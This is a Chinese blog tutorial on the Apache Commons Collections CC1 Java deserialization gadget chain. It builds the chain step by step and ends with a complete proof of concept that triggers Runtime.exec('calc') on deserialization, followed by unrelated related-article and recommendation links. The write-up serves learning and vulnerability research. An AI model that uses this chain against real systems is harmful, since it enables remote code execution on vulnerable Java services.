CC-LINK-one

前言

这里也正式进入的java的反序列化漏洞了,简单介绍一下CC是什么借用一些官方的解释:Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

  • 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

整体链子

借助前人挖掘的经验我们直接看到Transformer类

看这个类有个方法返回的是Object和接受参数也是Object,这就代表着对我们传入的类没有进行过滤,可以做一下很简单方便的操作,方便就是安全最大的敌人。

看一下它的实现类ctrl+h

今天的漏洞存在主脚是这个IncokerTransformer这个类

在里面看他的Transformer,就看异常处理前面的这个方法

  public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
} /**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

这就是一个很典型的危险函数,具体调用就是 InvokerTransformer.transform,在类的构造函数里面去获取transform参数值,然后transform用这些方法通过反射调用,然后我们看一下利用过程

构造方法第一个值是String methodName,它是对应着IMethodName就是在反射中的Method method = cls.getMethod(iMethodName, iParamTypes);应该是exec

第二个参数值是paramTypes对应的是iParamTypes也是在Method method = cls.getMethod(iMethodName, iParamTypes);,对应的是getMethod中方法参数值String.class,因为exec对应的就是String

第三个参数args对应的是method.invoke(input, iArgs)就是我们要执行的那个String,然后现在给的值是cacl

我来构成尾部

这里的话我们想一想exec是从Runtime这类下来的所以我们要传入的对象是这个Runtime对象,这个Runtime对象是不支持序列化的,这样的话其实很简单也是我们必须要用的我看一下Runtime这个类有些啥

这方法是一个公开静态的方法,那就很简单了直接用Class就行了Class是可以反序列化的

   public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<Runtime> rumtime = Runtime.class;//获取class类的Runtime。因为class类是可以序列化的
Method getRuntime = rumtime.getMethod("getRuntime",null
);//这儿是获取方法,这个方法是静态公开无参的下面这个要不要的无所谓
getRuntime.setAccessible(true);
Runtime runtime = (Runtime) getRuntime.invoke(null,null);//方法执行,这个方法会返回一个Runrtime对象,这个对象就是我们要传到InvokerTransformer。ttransformer(Obeject obj)这个obj里面
} }

看一下构造,我们要利用InvokerTransformer去获取这个Runtime这个对象

第一步:获取Runtime方法

        Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

其实这个时候我们就已经拿到那个这个getRuntime,我们去掉getRuntime这个对象的invoke方法去获取一个Runtime对象这里充分体现了一个万物的思想,类是我们的对象我们调用它的方法

        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);

获取到Runtime对象之后,我们就去调用它的的exec然后去调用计算器试试

        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

这里其实就完成了第一个,就是说我们的链子的尾巴找到了。

我来构成身体

搞定前面那个部分,我们已经拿到了最重要的威胁函数,接下来就是找利用链子了,最终是找一个可以重写的readObject对象去调用到我们这个函数。

然后开始全局找一个不同名的函数去调用一下transform,这样我们就可以跳到别的类,函数方便去寻找readObject

在这个map包下面发现很多不同名的函数调用了transform

然后看到了这个checkSetVakue()这个函数

它是一个protected修饰的方法,所以看一下它的构造函数

这个构造函数看起来就是一个类似于装饰器,对一个map的key和value的进行操作,静态代理嘛。

这是一个保护的方法看一下同类下的方法调用

 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

知道这个调用了还是试一下用这个去调我们的transfomer,到这里还是要归纳一下这个利用流程。

我们要调用的是我们构造的InvokerTransformer的transform()方法,然后我们在decorate方法中发现对我们的transformer有调用,然后追踪到checkvalue会对我们的transform调用transform(),但是对transform的调用的值是value我们要看看这个value我们怎么调用

通过追踪调用,看一下追出的函数是一个setValue

然后这个parent这个属性的调用是在上面那个MapEntry方法调用,什么是MapEnty是在hashMap的遍历循环的时候每一个键值对就是一个MapEntry

这里的setValue就是那个map的setvalue,它相当于是重写了这个方法,利用流程就是我们遍历HashMap然后去setvalue-checkvalue-transform

看一下没有反序列化的代码

public class demo2 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<Runtime> rumtime = Runtime.class;
Runtime r = Runtime.getRuntime();
InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
execMethod.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key","aaa");
Map<Object,Object> decoratemap = TransformedMap.decorate(map, null, execMethod);
for(Map.Entry entry:decoratemap.entrySet()){
entry.setValue(r);
}
}
}

我来构成头部

接着往下走,我们已经找到这个map的setvalue去触发这个类了我们要去最后的一个目标一个readObjet调用Map的循环,然后调用一个setvalue

看这个setvalue刚刚好在一个readObject中,一个私有的类,只能通过反射来调用

 Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, decoratemap);

这样就能把这个对象构造出来,到这里这个利用链已经写完了,接下来就是解决一些中途调用的问题。

首先是我们在应对Runtime对象无法序列化的问题是利用transform方法就行循环调用,然后我们在开始的时候就发现过一个循环调用的方法就是利用ChainedTransformer这个数组循环调用

public class demo1 {

    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// Class<Runtime> rumtime = Runtime.class;
// Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class); } }

调用到这里我们的链子已经差不多完成了,再往回看一点,这里我们因为是链式调用嘛我吗要传入第一个setvalue必须是必须是Runtime.class,还有在readObject里面有一些很判断的条件

 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}

下个断点进行一下调试

这个判断过程是这样的它会去获取我们传入第一个参数就是那个注解的参数名称然后通过那个参数名称去获取map中的值,要那个值不为空,就是我们传入的map的key值那个字符串要跟传入的注解里面那个参数值有相同的

然后这里它的setvalue

接收的是一个AnntationTypeMismatchExceptionProxy

这里调用的checkvalue的value值是一个动态代理的处理器对象

然后这里是我们的命令执行的入口,就这个checkSetValue,然后它第一次调用的是它那个动态代理的处理器,而我们的入口要的是Runtime.class对象这里执行的是也是transform方法

然后我们在前面有一个鸡肋的transform方法这个时候就有用处了

这个ConstantTransformer这个类它的transform方法是一个接收构造函数的参数然后返回值就是构造函数的那个参数,这里我们就可以用它来跳过那个构造器,我们直接用它来构造我们需要的那个Runtime.class对象

完整poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map; public class demo1 { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
// Class<Runtime> rumtime = Runtime.class;
// Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> decoratemap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decoratemap);
serialize(o);
unseriallize("src.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("src.bin"));
oos.writeObject(obj);
}
public static Object unseriallize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

总结

这条链子的总体利用发现和利用过程的就是真的巧妙到了不能再巧妙了,然后自己简单的归纳了一下触发的流程

AnnotationInvocationHandler#{readObject}
AbstractInputCheckedMapDecorator#{setValue}
HashMap控制中间的某个if语句和进入MapEntry方法
(ConstantTransformer)用来控制setvalue的第一个方法
TransformedMap#{checkSetValue}
(ChainedTransformer)这个类用来循环调用InvokerTransformerd.transform()
InvokerTransformer#{transform}

java反序列化漏洞cc_link_one的更多相关文章

  1. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  2. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  3. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

  4. Java反序列化漏洞实现

    一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...

  5. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  6. Java反序列化漏洞之殇

    ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...

  7. java 反序列化漏洞检测及修复

    Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...

  8. Java反序列化漏洞的挖掘、攻击与防御

    一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...

  9. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

随机推荐

  1. [CF1526F] Median Queries(交互 / 构造)

    题面 这是一道交互题. 有一个未知的长度为 N \tt N N 的排列 P \tt P P,已知 P 1 < P 2 \tt P_1 < P_2 P1​<P2​ . 每次询问格式为 ...

  2. KingbaseES 数据库删除功能组件

      关键字: KingbaseES.卸载.删除功能   一.安装后检查 在安装完成后,可以通过以下几种方式进行安装正确性验证: 1. 查看安装日志,确认没有错误记录; 2. 查看开始菜单: 查看应用程 ...

  3. URL slug是什么?

    URL slug是什么? URL slug是 URL 中最后一个反斜杠之后的部分. 为什么slug 对 SEO 很重要? slug 对于关键字 SEO 来说非常强大.如果用户要在 Google 搜索& ...

  4. LFS(Linux From Scratch)构建过程全记录(二):磁盘分区

    写在前面 本文将会详细记录LFS中,构建分区,构建文件系统和挂载分区的全过程 准备新硬盘 为了更加符合"从零开始构建Linux"的要求,我在虚拟机中,新建了一个磁盘 我们将会在这个 ...

  5. 9. 第八篇 kube-controller-manager安装及验证

    文章转载自:https://mp.weixin.qq.com/s?__biz=MzI1MDgwNzQ1MQ==&mid=2247483826&idx=1&sn=88f0cef6 ...

  6. mysql8 安装与配置文件添加时区

    mysql默认时区选择了CST mysql>show variables like '%time_zone%'; 解决办法:(建议通过修改配置文件来解决) 通过命令在线修改: mysql> ...

  7. 使用 kubectl 执行 Rolling Update(滚动更新)

    Rolling Update滚动更新 通过使用新版本的 Pod 逐步替代旧版本的 Pod 来实现 Deployment 的更新,从而实现零停机.新的 Pod 将在具有可用资源的 Node(节点)上进行 ...

  8. 不可错过的效能利器「GitHub 热点速览 v.22.39」

    如果你是一名前端工程师且维护着多个网站,不妨试试本周榜上有名的 HTML-first 的 Qwik,提升网站访问速度只用一招.除了提升网站加载速度的 Qwik,本周周榜上榜的 Whisper 也是一个 ...

  9. 线程池底层原理详解与源码分析(补充部分---ScheduledThreadPoolExecutor类分析)

    [1]前言 本篇幅是对 线程池底层原理详解与源码分析  的补充,默认你已经看完了上一篇对ThreadPoolExecutor类有了足够的了解. [2]ScheduledThreadPoolExecut ...

  10. vue禁用浏览器返回键

    mounted () { // 禁用浏览器返回键 history.pushState(null, null, document.URL); window.addEventListener('popst ...